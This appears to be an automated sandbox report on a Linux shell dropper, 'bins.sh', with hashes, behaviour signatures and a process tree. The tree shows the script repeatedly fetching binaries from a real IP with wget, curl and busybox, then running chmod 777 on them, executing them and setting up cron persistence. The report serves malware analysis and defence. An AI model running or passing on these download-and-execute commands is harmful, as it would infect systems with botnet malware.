Analysis

  • max time kernel
    149s
  • max time network
    126s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    27/11/2024, 02:10

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8f5088b4912cb20abde29e1603b7fcae

  • SHA1

    b3b699bc68a5e784f72a8de3cc5ca4a3108e24db

  • SHA256

    33eafd3d129b1c00172304bbe6745931000915b87f0300905556d89f4ff20b81

  • SHA512

    46c0d0dc07b3fb5dd94a54cac867cf10e17553ce5fa7f037e681fca3105b7b281fcb6b0f36b0e9a691b8161debb42b662a9a155ca3c29b2d6d065a677ff65785

  • SSDEEP

    192:CiyCpdx7WymIRpQc2Xe6z/vu1uT+z/vu1uGiyCpdlymIRpeP4g:r7WymIRpQcjiWymIRpTg

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          ./OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:741
        • /bin/rm
          rm OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          PID:743
        • /usr/bin/wget
          wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:744
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:745
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:748
        • /bin/chmod
          chmod 777 WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • File and Directory Permissions Modification
          PID:755
        • /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          ./WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Executes dropped EXE
          PID:757
        • /bin/rm
          rm WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
            PID:760
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:762
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:777
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:796
          • /bin/chmod
            chmod 777 aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • File and Directory Permissions Modification
            PID:799
          • /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            ./aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Executes dropped EXE
            PID:800
          • /bin/rm
            rm aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
              PID:802
            • /usr/bin/wget
              wget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Writes file to tmp directory
              PID:803
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Writes file to tmp directory
              PID:804
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Writes file to tmp directory
              PID:805
            • /bin/chmod
              chmod 777 gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • File and Directory Permissions Modification
              PID:806
            • /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              ./gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:807
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:809
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:810
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:811
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:812
                  • /bin/rm
                    rm gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
                    2⤵
                      PID:814
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw
                      2⤵
                        PID:817

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f

                      Filesize

                      111KB

                      MD5

                      701e7a55a4f3650f5feee92a9860e5fc

                      SHA1

                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                      SHA256

                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                      SHA512

                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                    • /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym

                      Filesize

                      117KB

                      MD5

                      849fa04ef88a8e8de32cb2e8538de5fe

                      SHA1

                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                      SHA256

                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                      SHA512

                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                    • /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X

                      Filesize

                      119KB

                      MD5

                      1b166b95f9cb4b079ef1b9ec8363ddf3

                      SHA1

                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                      SHA256

                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                      SHA512

                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                    • /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf

                      Filesize

                      151KB

                      MD5

                      6c583043d91c55aa470c08c87058e917

                      SHA1

                      abf65a5b9bba69980278ad09356e53de8bb89439

                      SHA256

                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                      SHA512

                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                    • /var/spool/cron/crontabs/tmp.W5pR8a

                      Filesize

                      210B

                      MD5

                      099c96a5155c77642894583becb096a8

                      SHA1

                      86c61466fc628f2bab26c664a19e7d52a0107a32

                      SHA256

                      5cabbc61ac3058575016eb20ec4402076db00df2737bab68eec7c0174ab964a0

                      SHA512

                      79c6792461722af133c2bc69fcac33ebb104fb7cfa911600d8cf64f7a8ae7c1bac7cf77f858aae8f79cace5a7ac982b05dc8fc6fac13ba20fe2eacbc89938b5b